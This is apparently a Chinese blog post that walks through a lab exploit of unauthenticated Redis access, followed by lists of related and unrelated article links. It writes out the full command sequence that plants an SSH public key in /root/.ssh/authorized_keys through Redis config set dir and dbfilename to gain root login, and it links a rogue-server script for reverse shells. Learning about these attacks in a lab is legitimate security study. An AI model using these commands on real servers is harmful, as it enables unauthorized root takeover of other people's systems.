从redis未授权访问到获取服务器权限
从redis未授权访问到获取服务器权限
好久没写博客了,博客园快荒芜了。赶紧再写一篇,算是一个关于自己学习的简要的记录把。
这里是关于redis未授权访问漏洞的一篇漏洞利用:
首先是redis,靶场搭建:
先是搭建ubuntu靶机,可参考这一篇文章:
https://zhuanlan.zhihu.com/p/141033713
全部安装好了之后,安装redis服务,这中间会有很多工具需要自行安装,比如gcc,比如make,按照提示要求自行安装就行了,ubuntu安装还是要比其他linux简单的。
安装redis服务:
安装redis服务也不需要重复造轮子了。这位大佬已经写的非常清楚了,参照:
https://www.cnblogs.com/bmjoker/p/9548962.html
安装好了之后:
redis-server /etc/redis.conf 启动redis服务。注意,一定要用root用户启动。
启动之后,这个redis未授权访问靶机就算搭建完成了。
漏洞利用:
如果redis是以root的身份运行,且还是以未授权的方式暴露在公网上,那么攻击者就可以通过redis给root账户写入ssh公钥文件,然后通过自己的私钥连接redis服务器,以root用户身份直接登录服务器。
下面是漏洞利用过程:
首先本地生成一对公私钥,使用命令:
ssh-keygen -t rsa
于是乎,就会在你的服务器上的.ssh文件夹下生成2个文件,如下:一个公钥,一个私钥:

将生成的公钥的内容前后添加3个\n,即3个回车,保存到一个txt文件中。

然后将该txt中的内容写入redis:
cat test.txt | redis-cli -h 192.168.145.135 -x set ok
登录redis服务器:
redis-cli -h 192.168.145.135
config get dir命令可以得到redis的备份路径
更改redis备份路径为ssh公钥存放目录,即/root/.ssh:
config set dir /root/.ssh
然后设置上传公钥的备份文件名字为authorized_keys:
config set dbfilename authorized_keys
然后
save
这时,就可以通过ssh -i id_rsa root@192.168.145.135以私钥的方式远程连接redis服务器了。
上述的漏洞利用方法是必须要求redis服务的运行权限是root权限的,所以比较苛刻。其实,非root用户的redis4.x-5.x版本的redis服务有直接的命令执行漏洞,可以直接那来使用:
使用脚本:
https://github.com/vulhub/redis-rogue-getshell

使用该脚本即可直接在redis服务器上执行命令,进而反弹shell。
从redis未授权访问到获取服务器权限的更多相关文章
- Redis未授权访问缺陷让服务器沦为肉鸡
朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...
- Redis未授权访问写Webshell和公私钥认证获取root权限
0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- 修补--Redis未授权访问漏洞
--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...
- Redis未授权访问
最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- redis未授权访问getshell
redis未授权访问的问题一年前就爆了,当时刚开始学安全,还不太懂.今天借着工作的机会来搞一把,看看能不能拿下一台服务器.其实前几天就写好了一直想找个实际环境复现一下,一直没有找到,只说下大致思路. ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问利用
转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
随机推荐
- 2023-05-09:石子游戏中,爱丽丝和鲍勃轮流进行自己的回合,爱丽丝先开始 。 有 n 块石子排成一排。 每个玩家的回合中,可以从行中 移除 最左边的石头或最右边的石头, 并获得与该行中剩余石头值
2023-05-09:石子游戏中,爱丽丝和鲍勃轮流进行自己的回合,爱丽丝先开始 . 有 n 块石子排成一排. 每个玩家的回合中,可以从行中 移除 最左边的石头或最右边的石头, 并获得与该行中剩余石头值 ...
- 2020-12-18:java和go,并发控制有哪几种方式?
福哥答案2020-12-18: java:锁(Synchronized, ReentrantLock).信号量(Semaphore)以及其他同步工具.原子类(atomicInteger).加法器(ad ...
- 2021-06-04:给定三个参数:二叉树的头节点head,树上某个节点target,正数K,从target开始,可以向上走或者向下走。返回与target的距离是K的所有节点。
2021-06-04:给定三个参数:二叉树的头节点head,树上某个节点target,正数K,从target开始,可以向上走或者向下走.返回与target的距离是K的所有节点. 福大大 答案2021- ...
- vue全家桶进阶之路43:Vue3 Element Plus el-form表单组件
在 Element Plus 中,el-form 是一个表单组件,用于创建表单以便用户填写和提交数据.它提供了许多内置的验证规则和验证方法,使表单验证更加容易. 使用 el-form 组件,您可以将表 ...
- 2015年蓝桥杯C/C++大学B组省赛真题(加法变乘法)
题目描述: 我们都知道:1+2+3+ ... + 49 = 1225 现在要求你把其中两个不相邻的加号变成乘号,使得结果为2015 比如: 1+2+3+...+10*11+12+...+27*28+2 ...
- OneForAll下载安装以及环境配置
python-3.9.7-amd64 OneForAll-master python安装以及插件安装 首先下载python解压到电脑c盘在c盘中创建一个工具文件夹,然后下载OneForAll-mast ...
- SVM主体思路和代码实现
之前学习的KNN算法属于直接将所有的训练图片数据化,根据图片的像素值进行判断,最简单的NN算法是用与待判断图片的差距最小(距离最近)的那张图片的类别当做此图片的类别,我们不难看到,1NN算法的正确性很 ...
- DB事物
1.事物概念:一组逻辑操作单元 始数据从一种状态变换到另一种状态事物处理:所有事物 都作为一个工作单元来执行 , 即使出现了故障 都不能改变这种执行方式, commint提交之后 这些修改就永久的保存 ...
- 【VS Code 与 Qt6】QCheckBox的图标为什么不会切换?
本篇专门扯一下有关 QCheckBox 组件的一个问题.老周不水字数,直接上程序,你看了就明白. #include <QApplication> #include <QWidget& ...
- 【python爬虫实战】用python爬取爱奇艺电视剧十大榜单的全部数据!
目录 一.爬取目标 二.讲解代码 三.查看结果 四.视频演示 五.附完整源码 一.爬取目标 本次爬取的目标是,爱奇艺电视剧类目下的10个榜单:电视剧风云榜-爱奇艺风云榜 可以看到,这10个榜单包含 ...